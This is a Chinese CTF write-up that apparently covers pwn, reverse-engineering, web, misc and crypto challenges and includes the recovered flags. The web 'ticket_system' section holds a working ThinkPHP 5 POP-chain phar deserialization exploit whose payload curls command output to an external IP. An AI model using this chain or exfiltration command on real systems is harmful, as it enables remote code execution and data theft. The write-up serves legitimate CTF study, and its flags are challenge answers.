pwn
three
静态编译文件,开了NX,
有一个3字节的shellcode可以操作;
在Tell me
的时候写入ropchain,再执行shellcode跳转到0x80f6cc0执行ropchain
exp:
1 | #!/usr/bin/env python2 |
re
xx
分三步加密,先xxtea,再换顺序,最后迭代亦或后去check,因为数据不多所以最后一步亦或手撕了出来,换回顺序写个xxtea的解密
1 | #coding=utf8 |
print flag
easyRE
通过字符定位到主逻辑,两次解密可以得到 Info:The first four chars are flag
和 https://bbs.pediy.com/thread-254172.htm,这是个关于主动防御的看雪文章,然而并没有发现flag,emmmm主动防御,其实是在误导我们;真正的flag在sub_400D35位置,结合info得到key后,简单的亦或解密出来即可
1 | data = [0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45,0x5B] |
childRE
UnDecorateSymbolName 是c++的去函数修饰的函数,写个脚本自己测试可以得到31函数名为?My_Aut0_PWN@ROPxx@@AAEPADPAE@Z,
但是前面还有一个调换了顺序,改回来后可以得到正确的输入Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP,md5一下
flag:flag{63b148e750fed3a33419168ac58083f5}
cacl
认真分析可以发现程序实现了自己的一套大整数运算,有加、减、乘、除和次方;最后结果为0即能得到flag
前面一堆计算都没用,后面程序计算了下面两个数:
a = (x1+x2)^3 - 3x1x2^2 - 3x2x1^2
b = (x3 + 4)^3 - 12x3^2 - 48x3-22
化简一下得到:a = x1^3 + x2^3 , b = x3^3 + 42
最后程序判断结果: a == b,https://xw.qq.com/cmsid/20190906A0NZO5
得到flag: 951e27be2b2f10b7fa22a6dc8f4682bd
web
ticket_system
利用postXML去读源文件
把源文件和readflag文件读下来以后可以分析出,攻击过程是上传一个可执行的php,通过thinkphp5的pop链和phar去触发反序列化漏洞
readflag文件和*ctf的一模一样,直接拿当初的脚本就行了
1 | <?php |
上传过去以后拿微笑师傅的pop链打过去,本地监听就行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("curl http://134.175.34.73:2334/ -d `php /tmp/uploads/0cc175b9c0f1b6a831c399e269772661/20191111/6582f47189690b9acfc01cc069af8ea8.xml|tac|tr -d \"\\n\"|sed 's/ //g'`;");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
misc
签到
填个问卷就能拿到flag了
Advertising for Marriage
看内存看到有张vegetable.png
这个图片高度是错误的,在linux里面打不开,通过CRC码爆破出高度是D3
然后再看进程,有个画图进程,把它dump下来
dump下来用gimp打开看到是
这里建议把图片镜像一下
再结合前面的hint
然后就能lsb恢复出加密的数据
base64解密以后提示维吉尼亚,gnxtmwg7r1417psedbs62587h0,密钥:bcxneedmoneyandgirlfirend
解密就能得到flag
d7f1417bfafbf62587e0
恶臭的数据包
拿到数据包发现全是wifi加密的流量,马上想到
aircrack-ng cacosmia.cap
发现数据包网路名称是mamawoxiangwantiequan
然后想到爆破八位的wifi密码提取原包,本来生成了个700多m的字典去爆,发现要10h就直接顺手先试试弱密码12345678,解出源包cacosmia-dec.cap
然后提取http协议传输的文件,binwalk最大那个发现一张图和一个加密压缩包,
找到传压缩包的tcp流,发现cookie中JWT有hint,压缩包密码是ping的网址:
过滤dns协议网址,一个个试,找到最后一个就是密码
解压出flag,flag{f14376d0-793e-4e20-9eab-af23f3fdc158}
crypto
boardcast
出题人失误,源文件直接放了flag